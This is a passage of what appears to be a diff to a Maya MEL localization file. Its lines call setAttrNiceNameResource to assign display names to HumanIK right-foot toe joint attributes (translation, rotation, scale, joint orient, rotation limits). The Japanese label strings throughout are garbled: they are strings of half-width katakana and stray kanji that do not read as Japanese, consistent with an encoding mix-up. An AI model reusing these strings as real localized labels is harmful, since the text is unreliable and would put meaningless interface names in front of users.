"RightFootIndex2JointOrientz", "モメスナカヨコ 2 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2MinRLimit", "モメスナカヨコ 2 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2MinRLimitx", "モメスナカヨコ 2 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2MinRLimity", "モメスナカヨコ 2 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2MinRLimitz", "モメスナカヨコ 2 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2MaxRLimit", "モメスナカヨコ 2 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2MaxRLimitx", "モメスナカヨコ 2 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2MaxRLimity", "モメスナカヨコ 2 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2MaxRLimitz", "モメスナカヨコ 2 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2MinRLimitEnablex", "ニモテモメスナカヨコ 2 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2MinRLimitEnabley", "ニモテモメスナカヨコ 2 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2MinRLimitEnablez", "ニモテモメスナカヨコ 2 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2MaxRLimitEnablex", "ニモテモメスナカヨコ 2 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2MaxRLimitEnabley", "ニモテモメスナカヨコ 2 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex2MaxRLimitEnablez", "ニモテモメスナカヨコ 2 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3", "モメスナカヨコ 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3T", "モメスナカヨコ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3Tx", "モメスナカヨコ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3Ty", "モメスナカヨコ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3Tz", "モメスナカヨコ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3R", "モメスナカヨコ 3 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3Rx", "モメスナカヨコ 3 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3Ry", "モメスナカヨコ 3 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3Rz", "モメスナカヨコ 3 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3S", "モメスナカヨコ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3Sx", "モメスナカヨコ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3Sy", "モメスナカヨコ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3Sz", "モメスナカヨコ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3RotateOrder", "モメスナカヨコ 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3RotateAxis", "モメスナカヨコ 3 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3RotateAxisx", "モメスナカヨコ 3 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3RotateAxisy", "モメスナカヨコ 3 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3RotateAxisz", "モメスナカヨコ 3 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3JointOrient", "モメスナカヨコ 3 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3JointOrientx", "モメスナカヨコ 3 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3JointOrienty", "モメスナカヨコ 3 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3JointOrientz", "モメスナカヨコ 3 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3MinRLimit", "モメスナカヨコ 3 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3MinRLimitx", "モメスナカヨコ 3 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3MinRLimity", "モメスナカヨコ 3 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3MinRLimitz", "モメスナカヨコ 3 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3MaxRLimit", "モメスナカヨコ 3 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3MaxRLimitx", "モメスナカヨコ 3 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3MaxRLimity", "モメスナカヨコ 3 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3MaxRLimitz", "モメスナカヨコ 3 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3MinRLimitEnablex", "ニモテモメスナカヨコ 3 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3MinRLimitEnabley", "ニモテモメスナカヨコ 3 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3MinRLimitEnablez", "ニモテモメスナカヨコ 3 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3MaxRLimitEnablex", "ニモテモメスナカヨコ 3 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3MaxRLimitEnabley", "ニモテモメスナカヨコ 3 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex3MaxRLimitEnablez", "ニモテモメスナカヨコ 3 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4", "モメスナカヨコ 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4T", "モメスナカヨコ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4Tx", "モメスナカヨコ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4Ty", "モメスナカヨコ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4Tz", "モメスナカヨコ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4R", "モメスナカヨコ 4 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4Rx", "モメスナカヨコ 4 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4Ry", "モメスナカヨコ 4 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4Rz", "モメスナカヨコ 4 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4S", "モメスナカヨコ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4Sx", "モメスナカヨコ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4Sy", "モメスナカヨコ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4Sz", "モメスナカヨコ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4RotateOrder", "モメスナカヨコ 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4RotateAxis", "モメスナカヨコ 4 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4RotateAxisx", "モメスナカヨコ 4 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4RotateAxisy", "モメスナカヨコ 4 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4RotateAxisz", "モメスナカヨコ 4 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4JointOrient", "モメスナカヨコ 4 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4JointOrientx", "モメスナカヨコ 4 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4JointOrienty", "モメスナカヨコ 4 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4JointOrientz", "モメスナカヨコ 4 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4MinRLimit", "モメスナカヨコ 4 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4MinRLimitx", "モメスナカヨコ 4 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4MinRLimity", "モメスナカヨコ 4 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4MinRLimitz", "モメスナカヨコ 4 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4MaxRLimit", "モメスナカヨコ 4 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4MaxRLimitx", "モメスナカヨコ 4 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4MaxRLimity", "モメスナカヨコ 4 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4MaxRLimitz", "モメスナカヨコ 4 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4MinRLimitEnablex", "ニモテモメスナカヨコ 4 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4MinRLimitEnabley", "ニモテモメスナカヨコ 4 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4MinRLimitEnablez", "ニモテモメスナカヨコ 4 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4MaxRLimitEnablex", "ニモテモメスナカヨコ 4 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4MaxRLimitEnabley", "ニモテモメスナカヨコ 4 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootIndex4MaxRLimitEnablez", "ニモテモメスナカヨコ 4 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1", "モメスナヨミヨコ 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1T", "モメスナヨミヨコ 1 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1Tx", "モメスナヨミヨコ 1 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1Ty", "モメスナヨミヨコ 1 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1Tz", "モメスナヨミヨコ 1 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1R", "モメスナヨミヨコ 1 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1Rx", "モメスナヨミヨコ 1 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1Ry", "モメスナヨミヨコ 1 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1Rz", "モメスナヨミヨコ 1 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1S", "モメスナヨミヨコ 1 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1Sx", "モメスナヨミヨコ 1 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1Sy", "モメスナヨミヨコ 1 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1Sz", "モメスナヨミヨコ 1 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1RotateOrder", "モメスナヨミヨコ 1 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1RotateAxis", "モメスナヨミヨコ 1 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1RotateAxisx", "モメスナヨミヨコ 1 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1RotateAxisy", "モメスナヨミヨコ 1 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1RotateAxisz", "モメスナヨミヨコ 1 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1JointOrient", "モメスナヨミヨコ 1 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1JointOrientx", "モメスナヨミヨコ 1 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1JointOrienty", "モメスナヨミヨコ 1 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1JointOrientz", "モメスナヨミヨコ 1 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1MinRLimit", "モメスナヨミヨコ 1 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1MinRLimitx", "モメスナヨミヨコ 1 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1MinRLimity", "モメスナヨミヨコ 1 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1MinRLimitz", "モメスナヨミヨコ 1 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1MaxRLimit", "モメスナヨミヨコ 1 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1MaxRLimitx", "モメスナヨミヨコ 1 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1MaxRLimity", "モメスナヨミヨコ 1 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1MaxRLimitz", "モメスナヨミヨコ 1 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1MinRLimitEnablex", "ニモテモメスナヨミヨコ 1 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1MinRLimitEnabley", "ニモテモメスナヨミヨコ 1 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1MinRLimitEnablez", "ニモテモメスナヨミヨコ 1 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1MaxRLimitEnablex", "ニモテモメスナヨミヨコ 1 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1MaxRLimitEnabley", "ニモテモメスナヨミヨコ 1 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle1MaxRLimitEnablez", "ニモテモメスナヨミヨコ 1 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2", "モメスナヨミヨコ 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2T", "モメスナヨミヨコ 2 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2Tx", "モメスナヨミヨコ 2 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2Ty", "モメスナヨミヨコ 2 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2Tz", "モメスナヨミヨコ 2 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2R", "モメスナヨミヨコ 2 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2Rx", "モメスナヨミヨコ 2 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2Ry", "モメスナヨミヨコ 2 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2Rz", "モメスナヨミヨコ 2 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2S", "モメスナヨミヨコ 2 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2Sx", "モメスナヨミヨコ 2 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2Sy", "モメスナヨミヨコ 2 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2Sz", "モメスナヨミヨコ 2 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2RotateOrder", "モメスナヨミヨコ 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2RotateAxis", "モメスナヨミヨコ 2 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2RotateAxisx", "モメスナヨミヨコ 2 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2RotateAxisy", "モメスナヨミヨコ 2 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2RotateAxisz", "モメスナヨミヨコ 2 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2JointOrient", "モメスナヨミヨコ 2 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2JointOrientx", "モメスナヨミヨコ 2 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2JointOrienty", "モメスナヨミヨコ 2 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2JointOrientz", "モメスナヨミヨコ 2 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2MinRLimit", "モメスナヨミヨコ 2 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2MinRLimitx", "モメスナヨミヨコ 2 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2MinRLimity", "モメスナヨミヨコ 2 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2MinRLimitz", "モメスナヨミヨコ 2 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2MaxRLimit", "モメスナヨミヨコ 2 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2MaxRLimitx", "モメスナヨミヨコ 2 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2MaxRLimity", "モメスナヨミヨコ 2 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2MaxRLimitz", "モメスナヨミヨコ 2 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2MinRLimitEnablex", "ニモテモメスナヨミヨコ 2 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2MinRLimitEnabley", "ニモテモメスナヨミヨコ 2 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2MinRLimitEnablez", "ニモテモメスナヨミヨコ 2 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2MaxRLimitEnablex", "ニモテモメスナヨミヨコ 2 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2MaxRLimitEnabley", "ニモテモメスナヨミヨコ 2 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle2MaxRLimitEnablez", "ニモテモメスナヨミヨコ 2 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3", "モメスナヨミヨコ 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3T", "モメスナヨミヨコ 3 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3Tx", "モメスナヨミヨコ 3 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3Ty", "モメスナヨミヨコ 3 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3Tz", "モメスナヨミヨコ 3 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3R", "モメスナヨミヨコ 3 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3Rx", "モメスナヨミヨコ 3 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3Ry", "モメスナヨミヨコ 3 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3Rz", "モメスナヨミヨコ 3 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3S", "モメスナヨミヨコ 3 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3Sx", "モメスナヨミヨコ 3 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3Sy", "モメスナヨミヨコ 3 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3Sz", "モメスナヨミヨコ 3 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3RotateOrder", "モメスナヨミヨコ 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3RotateAxis", "モメスナヨミヨコ 3 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3RotateAxisx", "モメスナヨミヨコ 3 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3RotateAxisy", "モメスナヨミヨコ 3 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3RotateAxisz", "モメスナヨミヨコ 3 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3JointOrient", "モメスナヨミヨコ 3 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3JointOrientx", "モメスナヨミヨコ 3 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3JointOrienty", "モメスナヨミヨコ 3 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3JointOrientz", "モメスナヨミヨコ 3 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3MinRLimit", "モメスナヨミヨコ 3 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3MinRLimitx", "モメスナヨミヨコ 3 ラミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3MinRLimity", "モメスナヨミヨコ 3 ラミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3MinRLimitz", "モメスナヨミヨコ 3 ラミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3MaxRLimit", "モメスナヨミヨコ 3 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3MaxRLimitx", "モメスナヨミヨコ 3 ラエミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3MaxRLimity", "モメスナヨミヨコ 3 ラエミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3MaxRLimitz", "モメスナヨミヨコ 3 ラエミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3MinRLimitEnablex", "ニモテモメスナヨミヨコ 3 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3MinRLimitEnabley", "ニモテモメスナヨミヨコ 3 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3MinRLimitEnablez", "ニモテモメスナヨミヨコ 3 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3MaxRLimitEnablex", "ニモテモメスナヨミヨコ 3 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3MaxRLimitEnabley", "ニモテモメスナヨミヨコ 3 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle3MaxRLimitEnablez", "ニモテモメスナヨミヨコ 3 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4", "モメスナヨミヨコ 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4T", "モメスナヨミヨコ 4 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4Tx", "モメスナヨミヨコ 4 ニスメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4Ty", "モメスナヨミヨコ 4 ニスメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4Tz", "モメスナヨミヨコ 4 ニスメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4R", "モメスナヨミヨコ 4 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4Rx", "モメスナヨミヨコ 4 ミラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4Ry", "モメスナヨミヨコ 4 ミラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4Rz", "モメスナヨミヨコ 4 ミラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4S", "モメスナヨミヨコ 4 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4Sx", "モメスナヨミヨコ 4 ヒキナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4Sy", "モメスナヨミヨコ 4 ヒキナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4Sz", "モメスナヨミヨコ 4 ヒキナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4RotateOrder", "モメスナヨミヨコ 4 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4RotateAxis", "モメスナヨミヨコ 4 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4RotateAxisx", "モメスナヨミヨコ 4 ミラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4RotateAxisy", "モメスナヨミヨコ 4 ミラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4RotateAxisz", "モメスナヨミヨコ 4 ミラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4JointOrient", "モメスナヨミヨコ 4 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4JointOrientx", "モメスナヨミヨコ 4 ケリスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4JointOrienty", "モメスナヨミヨコ 4 ケリスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4JointOrientz", "モメスナヨミヨコ 4 ケリスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightFootMiddle4MinRLimit", "モメスナヨミヨコ 4 